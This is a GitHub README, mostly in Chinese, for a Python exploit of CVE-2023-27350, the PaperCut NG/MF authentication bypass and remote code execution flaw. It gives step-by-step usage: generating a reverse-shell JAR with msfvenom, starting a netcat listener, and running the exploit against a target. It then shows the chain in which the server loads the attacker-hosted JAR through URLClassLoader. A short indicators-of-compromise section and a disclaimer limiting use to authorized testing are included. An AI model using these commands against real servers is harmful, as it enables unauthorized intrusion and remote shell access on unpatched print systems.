joaoaugustom/PaperCut-Authentication_Bypass_and_RCE

GitHub: joaoaugustom/PaperCut-Authentication_Bypass_and_RCE

CVE-2023-27350 漏洞利用工具,实现 PaperCut NG/MF 远程代码执行。

Stars: 0 | Forks: 0

# CVE-2023-27350 — PaperCut NG/MF 认证绕过与远程代码执行漏洞 针对 PaperCut NG/MF 中严重认证绕过和远程代码执行漏洞的独立 Python 漏洞利用程序。CVSS 9.8。 ## 描述 CVE-2023-27350 影响 PaperCut NG 和 MF 的版本,包括 20.1.7、21.2.11 和 22.0.9 之前的版本。该漏洞允许未经身份验证的攻击者访问 `/app?service=page/SetupCompleted` 端点——这是一个仅在初始安装期间可访问的设置页面——并获得一个有效的管理会话,而无需任何凭证。 获得管理员访问权限后,攻击者可以启用 PaperCut 的打印脚本机制,并注入由服务器 JVM 执行的任意代码,从而导致在服务用户上下文中完全的远程代码执行。 ## 受影响版本 | 分支 | 修复版本 | |------|----------| | 20.x | 20.1.7 | | 21.x | 21.2.11 | | 22.x | 22.0.9 | 版本 18.x 及更早版本未收到官方补丁。 ## 参考实现 此漏洞利用程序是从分析两个公开实现中开发的: ### horizon3ai/CVE-2023-27350 (Python) - **仓库:** https://github.com/horizon3ai/CVE-2023-27350 - **方法:** 使用 `Runtime.exec()` 以纯字符串形式运行命令 - **限制:** `Runtime.exec(String)` 不处理 shell 元字符 (`>&`、`|`、`0>&1`),使得反向 shell 负载无效。脚本还硬编码了打印机 ID (`l1001`) 并检查仅英文的成功字符串,在非英文实例上失败 - **错误的引擎假设:** 未考虑 PaperCut 使用 RhinoJS(而非 BeanShell),这导致某些 Java 负载中的语法错误 ### 2. rapid7/metasploit-framework — PaperCutNG 认证绕过 - **模块:** `exploit/multi/http/papercut_ng_rce` - **方法:** 通过 `URLClassLoader` 将 Metasploit JAR 载入 JVM,避免任何 shell 依赖 - **限制:** 需要完整的 Metasploit 框架并生成 Java/Meterpreter 负载;不易于使用 `nc` 独立使用 ## 要求 ``` Python 3.x requests msfvenom (part of Metasploit Framework) nc (netcat) ``` ``` pip install requests ``` ## 使用方法 **1. 生成 JAR 负载** ``` msfvenom -p java/shell_reverse_tcp \ LHOST= LPORT= \ -f jar -o payload.jar ``` **2. 启动监听器** ``` nc -lvnp ``` **3. 运行漏洞利用程序** ``` python exploit.py \ -u http://:9191 \ -j payload.jar \ -lh \ -lp \ -rp ``` **示例:** ``` python exploit.py \ -u http://192.168.1.100:9191 \ -j payload.jar \ -lh 192.168.1.10 \ -lp 9090 \ -rp 4444 ``` ## 参数 | 参数 | 描述 | 默认值 | |-----|------|-------| | `-u` / `--url` | PaperCut 基础 URL | 必需的 | | `-j` / `--jar` | 负载.jar 的路径 | 必需的 | | `-lh` / `--lhost` | 您的 IP(目标将连接到这里) | 必需的 | | `-lp` / `--lport` | 服务器上提供 JAR 的 HTTP 端口 | 9090 | | `-rp` / `--rport` | 反向 shell 端口 | 4444 | ## 工作原理 ``` 1. Auth bypass via /app?service=page/SetupCompleted ↓ 2. Obtain admin JSESSIONID without credentials ↓ 3. Select [Template Printer] (l1001) ↓ 4. Inject RhinoJS script into the print script field ↓ 5. Script creates a URLClassLoader pointing to our HTTP server ↓ 6. PaperCut JVM downloads and executes payload.jar ↓ 7. Reverse shell ``` ## 犯罪指标 (IoC) - 在没有先前会话的情况下访问 `/app?service=page/SetupCompleted` - 修改 `print-and-device.script.enabled` 和 `print.script.sandboxed` 设置(版本 >= 19) - PaperCut 服务器到外部 IP 的出站 HTTP 连接 - JVM 日志中的 `URLClassLoader` 实例化带有外部 URL ## 法律免责声明 此漏洞利用程序仅提供用于教育目的和授权使用(渗透测试、CTF、实验室环境)。未经明确许可对系统进行未授权使用是非法的。作者不对任何滥用行为负责。
标签:威胁模拟, 逆向工具